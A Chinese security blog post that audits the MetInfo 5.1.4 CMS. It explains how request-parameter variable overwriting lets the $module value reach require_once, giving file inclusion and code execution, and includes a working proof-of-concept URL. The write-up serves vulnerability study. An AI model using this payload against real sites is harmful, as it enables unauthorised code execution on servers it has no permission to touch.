前言
MetInfo企业建站系统采用PHP+Mysql架构,V1.0版本于2009年发布,最新版本是V7.0.0,又称米拓企业建站系统。MetInfo是一款对SEO非常友好、支持多语言、功能全面、安全稳定、支持多终端展示并且支持可视化编辑、使用简单的企业建站软件。用户可以在不需要任何编程的基础上,通过简单的安装和可视化编辑设置就能够在互联网搭建独立的企业网站,能够极大的降低企业建站成本。
漏洞复现
远程命令执行
进入官网下载源码,安装完成,界面如下:
![图片[1]-【代码审计】米拓企业建站系统(MetInfo)-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2023/06/d2b5ca33bd174011.png)
运行poc:
在根目录新建文件:1.txt
内容:<?php phpinfo();?>
http://127.0.0.1/MetInfo5.1.4/about/index.php?fmodule=7&module=../1.txt
![图片[2]-【代码审计】米拓企业建站系统(MetInfo)-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2023/06/d2b5ca33bd174126.png)
漏洞审计
这个漏洞发生原理,主要在于变量覆盖,然后导致的文件包含,命令执行
对于变量覆盖,我们这里直接搜索:$$
admin\include\common.inc.php
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
这一串代码主要的作用就是直接将输入的参数作为变量,eg:http://127.0.0.1?x=1
即执行的是_GET['x']=1
大概执行逻辑:
array('_COOKIE', '_POST', '_GET') 数组
foreach(array('_COOKIE', '_POST', '_GET') as $_request) 依次将数组中的内容作为$_request即:
$_request = _COOKIE _POST _GET
foreach($$_request as $_key => $_value) 依次将$$_request的值作为$_key,然后赋值给$_value 此时:
$_key = $_COOKIE $_POST $_GET
这样就简化了每次传入参数的代码书写
明白了这一段,我们接着往下跟,哪里有调用包含的函数,作者这里面的调用主要使用的函数是:require_once
搜索:require_once
这里有很多存在变量的文件,先看看about\index.php
<?php
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;
这里继续看看../include/module.php
if($fmodule!=7){
if($mdle==100)$mdle=3;
if($mdle==101)$mdle=5;
$module = $modulefname[$mdle][$mdtp];
if($module==NULL){okinfo('../404.html');exit();}
if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
if($fmodule==$mdle){
$module = $modulefname[$mdle][$mdtp];
}
else{
okinfo('../404.html');exit();
}
}
else{
if($list){
okinfo('../404.html');exit();
}
else{
$module = $modulefname[$mdle][$mdtp];
}
}
if($mdle==8){
if(!$id)$id=$class1;
$module = '../feedback/index.php';
}
}
可以发现,当$fmodule!=7
时,函数跳出,此时$module != '../feedback/index.php';
,然后我们自己给$module
赋值,即可实现变量覆盖
此时即可实现任意文件包含
© 版权声明
安全小天地的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
安全小天地拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:anquanclub@foxmail.com
THE END
请登录后查看评论内容